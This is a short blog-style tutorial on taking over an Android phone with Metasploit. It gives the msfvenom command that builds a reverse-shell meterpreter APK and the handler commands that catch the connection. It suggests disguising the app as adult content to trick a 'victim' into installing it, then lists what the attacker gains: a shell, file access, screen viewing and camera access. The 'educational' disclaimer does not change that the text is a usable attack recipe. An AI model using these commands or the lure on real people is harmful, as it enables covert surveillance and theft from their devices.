Disclaimer

This article is just for educational purposes only. I am not responsible for any kind of misuse and never ever hack anyone’s mobile phone without permission.

What You’ll Need

You don’t need much:

• A working computer
• An internet connection
• A mobile phone to test on (your own or with someone’s permission)

If you’re new to ethical hacking and have never heard of Metasploit, go to its official site and download it. Install it on your PC, and you’re good to go!

If you’re not sure how to install Metasploit, leave a comment below, and I’ll guide you.

Else if you have followed my previous article on how to set up your own hacking lab then you will get MSF pre-installed on your Linux distro.

Creating the APK File

Once Metasploit is installed, open up your terminal and run this command to create an app:

msfvenom -p android/meterpreter/reverse_tcp LHOST=Your_IP_Address LPORT=4444 -f raw >> MyApp.apk

What it actually does is create an app for android when our victims install this app in his/her we get meterpreter shell. Before we send this app file to our victim to ask him to install, we have to set our listener for this in your terminal type msfconsole. If you installed metasploit properly, it opens up msfconsole for us without any error. Now type the following commands one by one.

Setting Up the Listener

Next, we need to set up a listener on your computer to capture the connection from the target’s phone.

1. Open Metasploit by typing msfconsole in your terminal.
2. Then run these commands:

use multi/handler
set PAYLOAD android/meterpreter/reverse_tcp
set LHOST Your_IP_Address
set LPORT 4444
show options

Check that you set everything properly.

Make sure everything is set correctly, and then type exploit. This will start the listener, waiting for the connection from the target device. After checking everything, type:

exploit

Sending the APK to the Target

Now send your apk file which we create earlier named MyApp.apk or anything you want to write — the best one I used to do was pornhub.apk and used to tell that this is the collection of all the videos…

Haha, before criticizing, we used to prank to our “victim” and ask him/her to install this app on his/her device. Once your victim install and open up the app, you will get meterpreter session.

What You Can Do With Meterpreter

Now that you have access, there’s a bunch of cool stuff you can do (ethically, of course):

• Get a shell: Full control of the phone’s terminal.
• Download/upload files: Move files between your computer and the target phone.
• Watch the screen: See what’s happening on the device in real time.
• Use the camera: Access the device’s camera stream.
• Install/remove apps: Manage the apps on the device.

To see everything you can do, just type help in the session.

Pretty straightforward, right? Remember, always be responsible and ethical in your hacking. We’re here to learn and protect, not cause harm. If you have any questions, feel free to reach out to me.